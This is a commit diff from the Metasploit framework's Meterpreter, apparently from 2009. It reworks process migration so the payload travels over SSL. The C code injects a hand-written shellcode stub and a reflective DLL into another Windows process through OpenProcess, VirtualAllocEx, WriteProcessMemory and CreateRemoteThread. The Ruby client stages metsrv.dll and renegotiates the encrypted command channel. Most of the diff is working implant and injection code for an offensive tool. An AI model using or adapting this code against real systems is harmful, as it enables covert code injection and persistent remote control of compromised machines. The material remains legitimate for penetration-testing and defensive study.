Transfer the migration payload over SSL, still working on a crash bug after migration completes

git-svn-id: file:///home/svn/framework3/trunk@6756 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2009-07-09 03:22:10 +00:00
parent c846f02c79
commit 7b516e06fe
13 changed files with 131 additions and 53 deletions

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -181,6 +181,7 @@ DWORD command_process_remote(Remote *remote, Packet *inPacket)
if ((packet_get_tlv_string(inPacket, TLV_TYPE_METHOD, &methodTlv) if ((packet_get_tlv_string(inPacket, TLV_TYPE_METHOD, &methodTlv)
!= ERROR_SUCCESS)) != ERROR_SUCCESS))
break; break;
dprintf("Processing method %s", methodTlv.buffer);
// Get the request identifier if the packet has one. // Get the request identifier if the packet has one.
if (packet_get_tlv_string(inPacket, TLV_TYPE_REQUEST_ID, if (packet_get_tlv_string(inPacket, TLV_TYPE_REQUEST_ID,
@ -216,6 +217,7 @@ DWORD command_process_remote(Remote *remote, Packet *inPacket)
res = command_call_dispatch(current, remote, inPacket); res = command_call_dispatch(current, remote, inPacket);
} }
dprintf("Calling completion handlers...");
// Finally, call completion routines for the provided identifier // Finally, call completion routines for the provided identifier
if (((packet_get_type(inPacket) == PACKET_TLV_TYPE_RESPONSE) || if (((packet_get_type(inPacket) == PACKET_TLV_TYPE_RESPONSE) ||
(packet_get_type(inPacket) == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && (packet_get_type(inPacket) == PACKET_TLV_TYPE_PLAIN_RESPONSE)) &&

View File

@ -620,12 +620,15 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
DWORD threadId; DWORD threadId;
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
DWORD pid; DWORD pid;
PUCHAR payload;
DWORD payloadBytesLeft;
DWORD bytesRead;
// Bug fix for Ticket #275: recv the migrate payload into a RWX buffer instead of straight onto the stack (Stephen Fewer). // Bug fix for Ticket #275: recv the migrate payload into a RWX buffer instead of straight onto the stack (Stephen Fewer).
BYTE stub[] = BYTE stub[] =
"\x8B\x74\x24\x04" // mov esi,[esp+0x4] ; ESI = MigrationStubContext * "\x8B\x74\x24\x04" // mov esi,[esp+0x4] ; ESI = MigrationStubContext *
"\x89\xE5" // mov ebp,esp ; create stack frame "\x89\xE5" // mov ebp,esp ; create stack frame
"\x81\xEC\x00\x10\x00\x00" // sub esp, 0x1000 ; alloc space on stack "\x81\xEC\x00\x40\x00\x00" // sub esp, 0x4000 ; alloc space on stack
"\x8D\x4E\x20" // lea ecx,[esi+0x20] ; ECX = MigrationStubContext->ws2_32 "\x8D\x4E\x20" // lea ecx,[esi+0x20] ; ECX = MigrationStubContext->ws2_32
"\x51" // push ecx ; push "ws2_32" "\x51" // push ecx ; push "ws2_32"
"\xFF\x16" // call near [esi] ; call loadLibrary "\xFF\x16" // call near [esi] ; call loadLibrary
@ -643,21 +646,10 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
"\x97" // xchg eax,edi ; edi now = our duplicated socket "\x97" // xchg eax,edi ; edi now = our duplicated socket
"\xFF\x76\x1C" // push dword [esi+0x1C] ; push our event "\xFF\x76\x1C" // push dword [esi+0x1C] ; push our event
"\xFF\x56\x18" // call near [esi+0x18] ; call setevent "\xFF\x56\x18" // call near [esi+0x18] ; call setevent
"\x8B\x5E\x08" // mov ebx,[esi+0x8] ; buffer total length "\xFF\x76\x04" // push dword [esi+0x04] ; push the address of the payloadBase
"\x8B\x6E\x04" // mov ebp,[esi+0x4] ; buffer address "\x59" // pop ecx ; pop the address into a register
"\x55" // push ebp ; save address for return "\xFF\xD1"; // call ecx ; call the payload
"\x6A\x00" // push byte +0x0 ; recv flags
"\x53" // push ebx ; remaining length to read
"\x55" // push ebp ; current buffer pointer
"\x57" // push edi ; socket
"\xFF\x56\x14" // call dword near [esi+0x14]; recv
"\x01\xC5" // add ebp,eax ; buffer address += bytes received
"\x29\xC3" // sub ebx,eax ; remaining length -= bytes received
"\x85\xDB" // test ebx,ebx ; test remaining length
"\x75\xF0" // jnz 0x7 ; continue if we have more to read
"\xC3" // ret ; return into the received buffer
"\x90\x90"; // nop; nop;
// Get the process identifier to inject into // Get the process identifier to inject into
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);
@ -684,7 +676,7 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
do do
{ {
// Open the process so that we can duplicate shit into it // Open the process so that we can into it
if (!(process = OpenProcess( if (!(process = OpenProcess(
PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION |
PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid))) PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid)))
@ -726,7 +718,7 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
strcpy(context.ws2_32, "ws2_32"); strcpy(context.ws2_32, "ws2_32");
// Allocate storage for the stub and the context // Allocate storage for the stub and context
if (!(dataBase = VirtualAllocEx(process, NULL, sizeof(MigrationStubContext) + sizeof(stub), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE))) if (!(dataBase = VirtualAllocEx(process, NULL, sizeof(MigrationStubContext) + sizeof(stub), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
{ {
result = GetLastError(); result = GetLastError();
@ -759,10 +751,47 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
// successfully migrated and are reaching the point of no return // successfully migrated and are reaching the point of no return
packet_transmit_response(result, remote, response); packet_transmit_response(result, remote, response);
// Receive the actual encoded payload over the SSL socket
if (!(payload = (PUCHAR)malloc(context.payloadLength)))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
payloadBytesLeft = context.payloadLength;
// Read the payload
while (payloadBytesLeft > 0)
{
if ((bytesRead = ssl_read(&remote->ssl,
payload + context.payloadLength - payloadBytesLeft,
payloadBytesLeft)) <= 0)
{
if(bytesRead == POLARSSL_ERR_NET_TRY_AGAIN) continue;
if (GetLastError() == WSAEWOULDBLOCK)
continue;
if (!bytesRead)
SetLastError(ERROR_NOT_FOUND);
break;
}
payloadBytesLeft -= bytesRead;
}
// Write this payload into the target process's memory
if (!WriteProcessMemory(process, context.payloadBase, payload, context.payloadLength, NULL))
{
result = GetLastError();
break;
}
response = NULL; response = NULL;
// Create the thread in the remote process // Create the thread in the remote process
if (!(thread = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId))) if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId)))
{ {
result = GetLastError(); result = GetLastError();
break; break;
@ -775,6 +804,7 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
result = GetLastError(); result = GetLastError();
break; break;
} }
dprintf("Shutting down the Meterpreter thread...");
// Exit the current process now that we've migrated to another one // Exit the current process now that we've migrated to another one
ExitThread(0); ExitThread(0);

View File

@ -26,4 +26,16 @@
#include "scheduler.h" #include "scheduler.h"
static void dprintf(char *format, ...) {
va_list args;
char buffer[1024];
va_start(args,format);
vsnprintf(buffer, sizeof(buffer)-3, format,args);
strcat(buffer, "\r\n");
OutputDebugString(buffer);
}
#endif #endif

View File

@ -56,29 +56,35 @@ DWORD __declspec(dllexport) Init(SOCKET fd)
SetHandleInformation(fd, HANDLE_FLAG_INHERIT, 0); SetHandleInformation(fd, HANDLE_FLAG_INHERIT, 0);
// Initialize SSL on the socket // Initialize SSL on the socket
dprintf("Negotiating SSL...");
negotiate_ssl(remote); negotiate_ssl(remote);
// Register extension dispatch routines // Register extension dispatch routines
dprintf("Registering dispatch routines...");
register_dispatch_routines(); register_dispatch_routines();
dprintf("Entering the monitor loop...");
// Keep processing commands // Keep processing commands
res = monitor_loop(remote); res = monitor_loop(remote);
dprintf("Deregistering dispatch routines...");
// Clean up our dispatch routines // Clean up our dispatch routines
deregister_dispatch_routines(); deregister_dispatch_routines();
} while (0); } while (0);
dprintf("Closing down SSL...");
ssl_close_notify(&remote->ssl); ssl_close_notify(&remote->ssl);
ssl_free(&remote->ssl); ssl_free(&remote->ssl);
if (remote) if (remote)
remote_deallocate(remote); remote_deallocate(remote);
} }
/* Invoke the fatal error handler */ /* Invoke the fatal error handler */
__except(exceptionfilter(GetExceptionCode(), GetExceptionInformation())) { __except(exceptionfilter(GetExceptionCode(), GetExceptionInformation())) {
dprintf("*** exception triggered!");
ExitThread(0);
} }
return res; return res;
@ -109,8 +115,11 @@ DWORD negotiate_ssl(Remote *remote)
ssl_set_ciphers( ssl, ssl_default_ciphers ); ssl_set_ciphers( ssl, ssl_default_ciphers );
ssl_set_session( ssl, 1, 60000, ssn ); ssl_set_session( ssl, 1, 60000, ssn );
/* This wakes up the ssl.accept() on the remote side */
dprintf("Sending a HTTP GET request to the remote side...");
/* This wakes up the sock.ssl.accept() on the remote side */
while(ssl_write(ssl, "GET / HTTP/1.0\r\n\r\n", 18) == POLARSSL_ERR_NET_TRY_AGAIN) {} while(ssl_write(ssl, "GET / HTTP/1.0\r\n\r\n", 18) == POLARSSL_ERR_NET_TRY_AGAIN) {}
dprintf("Completed writing the HTTP GET request");
return(0); return(0);
} }

View File

@ -133,10 +133,11 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
// wont work if we have used Reflective DLL Injection as metsrv.dll will be 'invisible' to these functions. // wont work if we have used Reflective DLL Injection as metsrv.dll will be 'invisible' to these functions.
remote->hMetSrv = hAppInstance; remote->hMetSrv = hAppInstance;
dprintf("Calling init()...");
// Call the init routine in the library // Call the init routine in the library
if( init ) if( init )
res = init(remote); res = init(remote);
dprintf("Called init()...");
} }
} while (0); } while (0);
@ -148,6 +149,7 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
packet_transmit(remote, response, NULL); packet_transmit(remote, response, NULL);
} }
dprintf("Returning back to cmd handler...");
return res; return res;
} }

View File

@ -77,11 +77,27 @@ class Client
self.parser = PacketParser.new self.parser = PacketParser.new
self.ext = ObjectAliases.new self.ext = ObjectAliases.new
self.ext_aliases = ObjectAliases.new self.ext_aliases = ObjectAliases.new
self.response_timeout = to
# Switch the socket to SSL mode
swap_sock_plain_to_ssl()
# XXX: Determine when to enable SSL here register_extension_alias('core', ClientCore.new(self))
initialize_inbound_handlers
initialize_channels
# Register the channel inbound packet handler
register_inbound_handler(Rex::Post::Meterpreter::Channel)
monitor_socket
end
def swap_sock_plain_to_ssl
begin begin
# Create a new SSL session on the existing socket # Create a new SSL session on the existing socket
ssl = OpenSSL::SSL::SSLSocket.new(sock, generate_ssl_context()) ctx = generate_ssl_context()
ssl = OpenSSL::SSL::SSLSocket.new(sock, ctx)
# This won't fire until there is remote data # This won't fire until there is remote data
ssl.accept ssl.accept
@ -96,27 +112,20 @@ class Client
rescue ::Exception => e rescue ::Exception => e
$stderr.puts "SSL Error: #{e} #{e.backtrace}" $stderr.puts "SSL Error: #{e} #{e.backtrace}"
end end
end
self.response_timeout = to
def swap_sock_ssl_to_plain
register_extension_alias('core', ClientCore.new(self)) self.sock = self.sock.fd
self.sock.extend(::Rex::Socket::Tcp)
initialize_inbound_handlers self.sock.sslsock = nil
initialize_channels self.sock.sslctx = nil
# Register the channel inbound packet handler
register_inbound_handler(Rex::Post::Meterpreter::Channel)
monitor_socket
end end
def generate_ssl_context def generate_ssl_context
key = OpenSSL::PKey::RSA.new(512){ } key = OpenSSL::PKey::RSA.new(1024){ }
cert = OpenSSL::X509::Certificate.new cert = OpenSSL::X509::Certificate.new
cert.version = 2 cert.version = 2
cert.serial = rand(0xFFFFFFFF) cert.serial = rand(0xFFFFFFFF)
# name = OpenSSL::X509::Name.new([["C","JP"],["O","TEST"],["CN","localhost"]]) # name = OpenSSL::X509::Name.new([["C","JP"],["O","TEST"],["CN","localhost"]])
subject = OpenSSL::X509::Name.new([ subject = OpenSSL::X509::Name.new([
["C","US"], ["C","US"],

View File

@ -167,33 +167,47 @@ class ClientCore < Extension
# #
def migrate( pid ) def migrate( pid )
c = Class.new( Msf::Payload ) # Create a new payload stub
c = Class.new( ::Msf::Payload )
c.include( Msf::Payload::Stager ) c.include( ::Msf::Payload::Stager )
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
c.include( Msf::Payload::Windows::ReflectiveDllInject )
# Create the migrate stager
migrate_stager = c.new() migrate_stager = c.new()
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.dll" ) migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.dll" )
payload = migrate_stager.stage_payload payload = migrate_stager.stage_payload
# Send the migration request
request = Packet.create_request( 'core_migrate' ) request = Packet.create_request( 'core_migrate' )
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid ) request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
request.add_tlv( TLV_TYPE_MIGRATE_LEN, payload.length ) request.add_tlv( TLV_TYPE_MIGRATE_LEN, payload.length )
response = client.send_request( request ) response = client.send_request( request )
# Stop the socket monitor
client.dispatcher_thread.kill if client.dispatcher_thread
# flush the receive buffer just in case
buff = client.sock.get_once(-1, 1)
# Send the payload over SSL
client.sock.write( payload ) client.sock.write( payload )
client.sock.flush
# Now communicating with the new process
# Renegotiate SSL over this socket
client.swap_sock_ssl_to_plain()
client.swap_sock_plain_to_ssl()
# Restart the socket monitor
client.monitor_socket
# Give the stage some time to transmit # Give the stage some time to transmit
Rex::ThreadSafe.sleep( 5 ) Rex::ThreadSafe.sleep( 5 )
# Load all the extensions that were loaded in the previous instance # Load all the extensions that were loaded in the previous instance
client.ext.aliases.keys.each { |e| client.ext.aliases.keys.each { |e|
$stderr.puts "loading extension #{e}"
client.core.use(e) client.core.use(e)
} }